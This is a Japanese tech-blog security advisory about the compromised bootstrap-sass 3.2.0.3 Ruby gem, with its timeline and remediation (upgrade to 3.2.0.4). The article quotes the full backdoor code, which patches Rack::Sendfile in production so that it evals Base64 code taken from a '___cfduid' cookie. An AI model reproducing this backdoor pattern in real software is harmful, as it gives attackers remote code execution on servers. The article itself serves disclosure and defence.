Tech Racho エンジニアの「?」を「!」に。
  • Ruby / Rails関連

セキュリティ: 3月26日のbootstrap-sass gem 3.2.0.3に危険なコードが含まれていた(影響を受けるサイトは少ない可能性)

訂正(2019/04/05): タイトル後半を「影響は小さい可能性」->「影響を受けるサイトは少ない可能性」に修正しました。また、「はじめに」のパラグラフを修正・追記いたしました🙇。

はじめに

3月26日に公開されていたbootstrap-sass gem 3.2.0.3に危険なコードが含まれていたという情報を記事にしました。
公開されていた期間が短かったこともあり、直接の影響範囲は小さい直接影響を受けるサイトは少ない可能性がありますが、取り込んでしまった場合の脆弱性が大きいため、最近bundle updateを行った方などは一度チェックしてみるとよいでしょう。詳しくは以下の元記事Bなどをご覧いただくようお願いします。

本記事は2019/04/05時点の情報に基づいています。

今朝公開されたRuby Weekly↑のトップに以下の元記事Aが掲載されていました。

追記(2019/04/05)

rubysec/ruby-advisory-dbにも登録されました↓。

追記(2019/04/11)

RubyGems.orgからダウンロードされてしまった3.2.0.3は1,477件あったそうです。

参考: 3.2.0.3? · Issue #1195 · twbs/bootstrap-sass
参考: show downloads and license information for yanked versions too by dwradcliffe · Pull Request #1946 · rubygems/rubygems.org

記事の概要

元記事Aによると、bootstrap-sassの 3.2.0.3にlib/active-controller/middleware.rbというファイルが含まれており、以下のコードが置かれていました。

# 同記事Aより
begin
 require 'rack/sendfile'
 if Rails.env.production?
   Rack::Sendfile.tap do |r|
     r.send :alias_method, :c, :call
     r.send(:define_method, :call) do |e|
       begin
         x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
         eval(x) if x
       rescue Exception
       end
       c(e)
     end
   end
 end
rescue Exception
 nil
end

元記事Bで上のコードを以下のように簡単に解説しています。

  • rack/sendfileをrequireしている
  • Railsアプリがproduction環境で実行されている場合にcallメソッドを改変する
  • callメソッドのモンキーパッチによって、クライアント側から送信される___cfduidというHTTP cookieが読み取られ、Base64でデコードして動的なコードをevalしている。動的なコードの実行後は、元のcallメソッドが呼び出される。

参考: What does the Cloudflare cfduid cookie do? – Cloudflare Support -- __cfduidについてのCloudflareの解説

上述の元記事Bの経過報告によると、このコードを含む3.2.0.3が何者かによって公開されたのは3月26日です(タイムゾーンや時刻は記事で示されていません)。その何者かは、その前にRubyGemsの正常な3.2.0.2を「yank」することで、問題の3.2.0.3が取り込まれるように仕向けていたようです。

そしてbootstrap-sassチームは同日の10:59PM(GMT)に対応を開始し、同日11:56PM(GMT)にはrubygems.orgからの3.2.0.3の削除とcredentialの更新を終えているとのことです。

つまり元記事Bの経過を見る限りでは、汚染された3.2.0.3が公開されていたのは1日足らずだったということになります。

現在は問題のコードはリポジトリから削除され、修正済みの3.2.0.4がリリースされています。汚染された3.2.0.3は現在rubygems.orgからは取得できないようになっています。

元記事Bによると、bootstrap-sassのメンテナーは2人で、どちらかのcredentialを奪われていた可能性が示唆されていますが、まだ公式な確認は取れていないそうです。

もし運悪くbootstrap-sass 3.2.0.3をRailsアプリに取り込んでしまっていた場合は、元記事Bにもあるように3.2.0.4にアップグレードすることで、メジャーアップグレードなしで問題を修正できます。

個人の感想ですが、今回のbootstrap-sassチームの対応の迅速さは見事だと思いました。


なお、bootstrap-sassはTwitterが公式に出しているgemです。現時点の最新バージョンは3.4.1(master)です。

CVE

bootstrap-sassの関連issue

詳しくは上のissueや元記事をごらんください。

関連記事

Railsアプリで実際にあった5つのセキュリティ問題と修正方法(翻訳)


CONTACT

TechRachoでは、パートナーシップをご検討いただける方からの
ご連絡をお待ちしております。ぜひお気軽にご意見・ご相談ください。